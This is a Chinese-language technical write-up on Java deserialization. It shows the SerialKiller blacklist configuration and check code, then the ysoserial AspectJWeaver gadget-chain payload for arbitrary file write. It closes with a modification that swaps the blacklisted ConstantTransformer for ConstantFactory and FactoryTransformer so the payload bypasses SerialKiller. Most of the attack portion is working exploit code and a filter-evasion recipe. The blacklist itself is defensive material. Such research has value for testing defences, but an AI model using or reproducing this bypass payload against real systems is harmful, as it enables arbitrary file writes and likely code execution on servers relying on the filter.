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通过重写ObjectInputStream 类中的resolveClass方法加入黑名单来限制反序列化的类，黑名单配置为serialkiller.conf
<?xml version="1.0" encoding="UTF-8"?> <!-- serialkiller.conf --> <config> <refresh>6000</refresh> <mode> <!-- set to 'false' for blocking mode --> <profiling>false</profiling> </mode> <blacklist> <regexps> <!-- ysoserial's BeanShell1 payload --> <regexp>bsh.XThis$</regexp> <regexp>bsh.Interpreter$</regexp> <!-- ysoserial's C3P0 payload --> <regexp>com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase$</regexp> <!-- ysoserial's CommonsBeanutils1 payload --> <regexp>org.apache.commons.beanutils.BeanComparator$</regexp> <!-- ysoserial's CommonsCollections1,3,5,6 payload --> <regexp>org.apache.commons.collections.Transformer$</regexp> <regexp>org.apache.commons.collections.functors.InvokerTransformer$</regexp> <regexp>org.apache.commons.collections.functors.ChainedTransformer$</regexp> <regexp>org.apache.commons.collections.functors.ConstantTransformer$</regexp> <regexp>org.apache.commons.collections.functors.InstantiateTransformer$</regexp> <!-- ysoserial's CommonsCollections2,4 payload --> <regexp>org.apache.commons.collections4.functors.InvokerTransformer$</regexp> <regexp>org.apache.commons.collections4.functors.ChainedTransformer$</regexp> <regexp>org.apache.commons.collections4.functors.ConstantTransformer$</regexp> <regexp>org.apache.commons.collections4.functors.InstantiateTransformer$</regexp> <regexp>org.apache.commons.collections4.comparators.TransformingComparator$</regexp> <!-- ysoserial's FileUpload1,Wicket1 payload --> <regexp>org.apache.commons.fileupload.disk.DiskFileItem$</regexp> <regexp>org.apache.wicket.util.upload.DiskFileItem$</regexp> <!-- ysoserial's Groovy payload --> <regexp>org.codehaus.groovy.runtime.ConvertedClosure$</regexp> <regexp>org.codehaus.groovy.runtime.MethodClosure$</regexp> <!-- ysoserial's Hibernate1,2 payload --> <regexp>org.hibernate.engine.spi.TypedValue$</regexp> <regexp>org.hibernate.tuple.component.AbstractComponentTuplizer$</regexp> <regexp>org.hibernate.tuple.component.PojoComponentTuplizer$</regexp> <regexp>org.hibernate.type.AbstractType$</regexp> <regexp>org.hibernate.type.ComponentType$</regexp> <regexp>org.hibernate.type.Type$</regexp> <regexp>com.sun.rowset.JdbcRowSetImpl$</regexp> <!-- ysoserial's JBossInterceptors1, JavassistWeld1 payload --> <regexp>org.jboss.(weld.)?interceptor.builder.InterceptionModelBuilder$</regexp> <regexp>org.jboss.(weld.)?interceptor.builder.MethodReference$</regexp> <regexp>org.jboss.(weld.)?interceptor.proxy.DefaultInvocationContextFactory$</regexp> <regexp>org.jboss.(weld.)?interceptor.proxy.InterceptorMethodHandler$</regexp> <regexp>org.jboss.(weld.)?interceptor.reader.ClassMetadataInterceptorReference$</regexp> <regexp>org.jboss.(weld.)?interceptor.reader.DefaultMethodMetadata$</regexp> <regexp>org.jboss.(weld.)?interceptor.reader.ReflectiveClassMetadata$</regexp> <regexp>org.jboss.(weld.)?interceptor.reader.SimpleInterceptorMetadata$</regexp> <regexp>org.jboss.(weld.)?interceptor.spi.instance.InterceptorInstantiator$</regexp> <regexp>org.jboss.(weld.)?interceptor.spi.metadata.InterceptorReference$</regexp> <regexp>org.jboss.(weld.)?interceptor.spi.metadata.MethodMetadata$</regexp> <regexp>org.jboss.(weld.)?interceptor.spi.model.InterceptionModel$</regexp> <regexp>org.jboss.(weld.)?interceptor.spi.model.InterceptionType$</regexp> <!-- ysoserial's JRMPClient payload --> <regexp>java.rmi.registry.Registry$</regexp> <regexp>java.rmi.server.ObjID$</regexp> <regexp>java.rmi.server.RemoteObjectInvocationHandler$</regexp> <!-- ysoserial's JSON1 payload --> <regexp>net.sf.json.JSONObject$</regexp> <!-- ysoserial's Jdk7u21 payload --> <regexp>javax.xml.transform.Templates$</regexp> <!-- ysoserial's Jython1 payload --> <regexp>org.python.core.PyObject$</regexp> <regexp>org.python.core.PyBytecode$</regexp> <regexp>org.python.core.PyFunction$</regexp> <!-- ysoserial's MozillaRhino1 payload --> <regexp>org.mozilla.javascript..*$</regexp> <!-- ysoserial's Myfaces1,2 payload --> <regexp>org.apache.myfaces.context.servlet.FacesContextImpl$</regexp> <regexp>org.apache.myfaces.context.servlet.FacesContextImplBase$</regexp> <regexp>org.apache.myfaces.el.CompositeELResolver$</regexp> <regexp>org.apache.myfaces.el.unified.FacesELContext$</regexp> <regexp>org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression$</regexp> <!-- ysoserial's ROME payload --> <regexp>com.sun.syndication.feed.impl.ObjectBean$</regexp> <!-- ysoserial's Spring1,2 payload --> <regexp>org.springframework.beans.factory.ObjectFactory$</regexp> <regexp>org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider$</regexp> <regexp>org.springframework.aop.framework.AdvisedSupport$</regexp> <regexp>org.springframework.aop.target.SingletonTargetSource$</regexp> <regexp>org.springframework.aop.framework.JdkDynamicAopProxy$</regexp> <regexp>org.springframework.core.SerializableTypeWrapper$TypeProvider$</regexp> <!-- other trigger gadgets or payloads --> <regexp>java.util.PriorityQueue$</regexp> <regexp>java.lang.reflect.Proxy$</regexp> <regexp>javax.management.MBeanServerInvocationHandler$</regexp> <regexp>javax.management.openmbean.CompositeDataInvocationHandler$</regexp> <regexp>org.springframework.aop.framework.JdkDynamicAopProxy$</regexp> <regexp>java.beans.EventHandler$</regexp> <regexp>java.util.Comparator$</regexp> <regexp>org.reflections.Reflections$</regexp> </regexps> </blacklist> <whitelist> <regexps> <regexp>.*</regexp> </regexps> </whitelist> </config>
ObjectInputStream ois = new SerialKiller(is, "serialkiller.conf"); String msg = (String) ois.readObject();
SerialKiller类继承自ObjectInputStream类，在SerialKiller中重写ObjectInputStream类的resolveClass方法，在resolveClass方法中对反序列化类进行校验，根据ObjectInputStream类中readObject的逻辑，当调用readObject方法时，readObject会调用resolveClass方法，反序列化中的每一个类名都会进入resolveClass方法中与黑名单列表中的进行比对
@Override protected Class<?> resolveClass(final ObjectStreamClass serialInput) throws IOException, ClassNotFoundException { config.reloadIfNeeded();
// Enforce SerialKiller's blacklist for (Pattern blackPattern : config.blacklist()) { Matcher blackMatcher = blackPattern.matcher(serialInput.getName());
if (blackMatcher.find()) { if (profiling) { // Reporting mode LOGGER.info(String.format("Blacklist match: '%s'", serialInput.getName())); } else { // Blocking mode LOGGER.error(String.format("Blocked by blacklist '%s'. Match found for '%s'", new Object[] {blackPattern.pattern(), serialInput.getName()})); throw new InvalidClassException(serialInput.getName(), "Class blocked from deserialization (blacklist)"); } } }
// Enforce SerialKiller's whitelist boolean safeClass = false;
for (Pattern whitePattern : config.whitelist()) { Matcher whiteMatcher = whitePattern.matcher(serialInput.getName());
if (whiteMatcher.find()) { safeClass = true;
if (profiling) { // Reporting mode LOGGER.info(String.format("Whitelist match: '%s'", serialInput.getName())); }
// We have found a whitelist match, no need to continue break; } }
if (!safeClass && !profiling) { // Blocking mode LOGGER.error(String.format("Blocked by whitelist. No match found for '%s'", serialInput.getName())); throw new InvalidClassException(serialInput.getName(), "Class blocked from deserialization (non-whitelist)"); }
return super.resolveClass(serialInput); }
public class OldAspectJWeaver implements ObjectPayload<Serializable> {
public Serializable getObject(final String command) throws Exception { int sep = command.lastIndexOf(';'); if ( sep < 0 ) { throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>"); } String[] parts = command.split(";"); String filename = parts[0]; byte[] content = Base64.decodeBase64(parts[1]);
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); Object simpleCache = ctor.newInstance(".", 12); Transformer ct = new ConstantTransformer(content); Map lazyMap = LazyMap.decorate((Map)simpleCache, ct); TiedMapEntry entry = new TiedMapEntry(lazyMap, filename); HashSet map = new HashSet(1); map.add("foo"); Field f = null; try { f = HashSet.class.getDeclaredField("map"); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap"); }
Reflections.setAccessible(f); HashMap innimpl = (HashMap) f.get(map);
Field f2 = null; try { f2 = HashMap.class.getDeclaredField("table"); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData"); }
Reflections.setAccessible(f2); Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0]; if(node == null){ node = array[1]; }
Field keyField = null; try{ keyField = node.getClass().getDeclaredField("key"); }catch(Exception e){ keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); }
Reflections.setAccessible(keyField); keyField.set(node, entry);
return map;
}
public static void main(String[] args) throws Exception { args = new String[]{"ahi.txt;YWhpaGloaQ=="}; PayloadRunner.run(OldAspectJWeaver.class, args); } }最终是在SimpleCache$StoreableCachingMap的wirteToPath方法中达到向任意文件中写入任意数据的目的
从调用链可以看到，反序列化时的关键调用链中是没有ConstantTransformer类的
Gadget chain: HashSet.readObject() HashMap.put() HashMap.hash() TiedMapEntry.hashCode() TiedMapEntry.getValue() LazyMap.get() SimpleCache$StorableCachingMap.put() SimpleCache$StorableCachingMap.writeToPath() FileOutputStream.write()
而这里的ct是14行的返回值：Transformer ct = new ConstantTransformer(content);
而在反序列化的过程中调用到的是LazyMap.get, 查看其代码
this.factory就是序列化时候LazyMap.decorate传入的Transformer实例，Object value则来自this.factory.transform的返回值，然后调用this.map.put进入SimpleCache$StorableCachingMap.put方法，可以看到value就是我们最终写入文件的任意数据
那么我们现在对AspectJWeaver链中的要写入的任意数据Content有了两个要求
1.必须将Content包装成Transformer对象
2.调用该Transformer对象的transform方法后返回的值就是Content本身
这里就很眼熟了，我们在学习CommonCollections1利用链的时候就知道，ConstantTransformer中的transform方法的功能就是将初始化时传入的对象返回。
它的关键代码如下：
public ConstantTransformer(Object constantToReturn) { this.iConstant = constantToReturn; }
public Object transform(Object input) { return this.iConstant; }理清了这个逻辑，就会发现ConstantTransformer类在这条链里存在的必要性，那么是否可以尝试用其他实现Transformer接口的类来代替ConstantTransformer从而绕过黑名单呢？
看一下实现Transformer接口的类，不多
private final Factory iFactory; public FactoryTransformer(Factory factory) { this.iFactory = factory; }
public Object transform(Object input) { return this.iFactory.create(); }
public ConstantFactory(Object constantToReturn) { this.iConstant = constantToReturn; }
public Object create() { return this.iConstant; }那么现在我们将原来的Transformer ct = new ConstantTransformer(content);改写成
Factory ft = new ConstantFactory(content); Transformer ct = new FactoryTransformer(ft);
修改后该payload即可绕过serialKiller写任意文件
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